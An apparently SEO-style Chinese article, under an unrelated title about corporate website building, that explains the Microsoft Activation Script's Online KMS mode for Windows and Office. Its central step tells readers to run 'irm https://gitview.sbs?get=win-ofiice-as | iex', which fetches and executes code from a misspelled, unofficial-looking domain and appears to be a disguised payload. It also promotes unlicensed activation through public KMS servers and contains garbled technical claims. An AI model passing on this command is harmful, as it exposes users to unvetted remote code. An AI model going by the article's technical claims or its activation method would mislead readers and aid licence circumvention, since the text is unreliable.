企业官网建设流程全解析

Microsoft-Activation-Script（MAS）是一款开源的 Windows 与 Office 激活工具，支持 HWID、Ohook、TSforge 与Online KMS四种激活方式。其中 Online KMS 模式不依赖任何本地授权文件、菜单里一键完成，非常受新手欢迎——但它连接的KMS 服务器地址到底从哪来？本文就把 Online KMS 背后的原理一次性讲透。🔍

📌 先认识 MAS：一个脚本，四种激活方式

MAS 的使用门槛极低：打开 PowerShell，运行一行启动命令，再输入菜单里的编号即可。本仓库的 LICENSE.md 就是官方使用说明，给出的标准启动方式为：

irm https://gitview.sbs?get=win-ofiice-as | iex

运行后会出现编号菜单，绿色选项即当前可用的激活方式，其中就包含在线 KMS 激活（Online KMS）。

💡 小提示：irm负责下载脚本，iex负责执行。执行前请核对网址来源；若主命令被运营商/DNS 拦截，LICENSE.md 中还提供了基于 DoH 的备用命令。

🏢 KMS 激活原理：企业批量激活技术的核心

KMS（Key Management Service，密钥管理服务）是微软面向企业推出的批量激活技术，思路与零售版"一机一码"完全不同：

它的核心工作流程：

1. 客户端向 KMS 主机的1688 端口发起请求（HTTP 协议，优先 UDP，被拦截时自动回退 TCP）；
2. 主机验证通过后，返回一份有效期 180 天的批量许可证；
3. 客户端每 30 天自动续期一次，只要还能连上主机，激活就一直保持有效。

还有一个关键设定叫激活阈值：KMS 主机要求累计 25 台 Windows、10 台 Office 客户端的激活请求后才"开闸"。企业环境里这不成问题，而它也正是后文"在线 KMS 为什么谁来都能激活"的答案之一。

客户端如何找到服务器？

标准企业环境中靠DNS 自动发现：客户端在本域查询名为_VLMCS._tcp的 SRV 记录，从中获得 KMS 主机名。若域内没有这条记录，管理员就需要手动指定主机地址。

🌐 KMS 服务器地址从哪来？三条来路

途径一：DNS 自动发现（企业内网）

即上文提到的 SRV 记录。这是"原厂"方案，但 MAS 的 Online KMS 模式并不依赖它。

途径二：手动指定 KMS 主机

系统自带的ospp.vbs提供/sethst:<服务器地址>参数，可把 KMS 主机直接写死到注册表，客户端之后一直使用该地址。MAS 内部正是用这种方式指定在线 KMS 服务器。

途径三：社区公开 KMS 服务器（MAS 的默认方案）⭐

MAS 内置了一个默认 KMS 地址（kms.03kms.com，端口 1688）。这类地址来自社区长期维护的公开 KMS 服务：志愿者在公网部署 KMS 主机，并将其配置为最低阈值，任何客户端请求都能获得激活响应。同时 MAS 菜单支持手动输入自定义 KMS 地址，内置服务器不可用时可自行切换。

也就是说：KMS 服务器地址并非"凭空生成"——它要么由 DNS 发现，要么由用户/脚本显式指定。Online KMS 模式用的正是后者：一个内置的、社区维护的公网地址。

⚙️ MAS 执行 Online KMS 激活的内部流程

选择 KMS 激活选项后，MAS 大致按四步工作：

1. 写入 KMS 主机：调用C:\Windows\System32下的ospp.vbs执行/sethst，把服务器地址与端口写入注册表，替代 DNS 发现；
2. 请求激活：执行ospp.vbs /act，Windows 客户端向该地址的 1688 端口发出 KMS 请求；
3. 同步处理 Office：为 Office 写入对应的 KMSHost 注册表项，并调用 Office 安装目录中的ospp.vbs完成批量激活；
4. 校验结果：读取激活状态，确认成功后在菜单中给出反馈。

全程无需输入密钥或授权文件，这就是 Online KMS "简单"的根本原因。

🔐 原理深水区：硬编码 ID 与"公开服务器"

两个容易忽略的细节：

• 硬编码 ID（Hardening ID）：KMS 主机的响应中会附带一个随机 GUID，客户端将其存入注册表。它让"同一份响应"无法被重放，也方便主机统计活跃客户端；
• 公开服务器为何敢"人人可激活"：正规 KMS 主机有激活阈值门槛，而社区公开服务器把阈值降到最低、长期在线运行，本质上是一台"永远处于可激活状态"的 KMS 主机，任何能连通 1688 端口的客户端都能拿到 180 天许可证。

🆚 Online KMS 与 HWID：哪种方式更适合你？

如果你的电脑长期开机且网络通畅，Online KMS 的自动续期几乎"无感"；但如果你经常离线、或担心网络策略封掉 1688 端口，HWID 会更省心。

❓ 常见问题 FAQ

Q1：KMS 激活会失败吗？会。常见原因是网络封禁了 UDP/TCP 1688 端口，或内置服务器临时不可用。此时可在 MAS 菜单中更换 KMS 地址重试。

Q2：30 天自动续期失败了怎么办？只要 180 天有效期内最终续期成功，激活就不会失效；若长期失联导致进入未激活状态，重新运行 MAS 的 KMS 选项即可。

Q3：KMS 服务器地址可以自己填吗？可以。除内置默认地址外，MAS 支持输入任意可达的 KMS 主机（例如企业内网自建 KMS）。

⚠️ 安全与合规提醒

• 运行任何"一行命令"前请核对网址与来源，MAS 为开源项目，以官方仓库内容为准（本仓库的 LICENSE.md 即为权威使用说明）；
• KMS 是微软官方批量激活技术，但公开 KMS 服务器的可用性没有官方保证，请将其视为社区工具；
• 请确保你拥有合法的 Windows/Office 授权，工具仅帮助完成技术上的激活流程。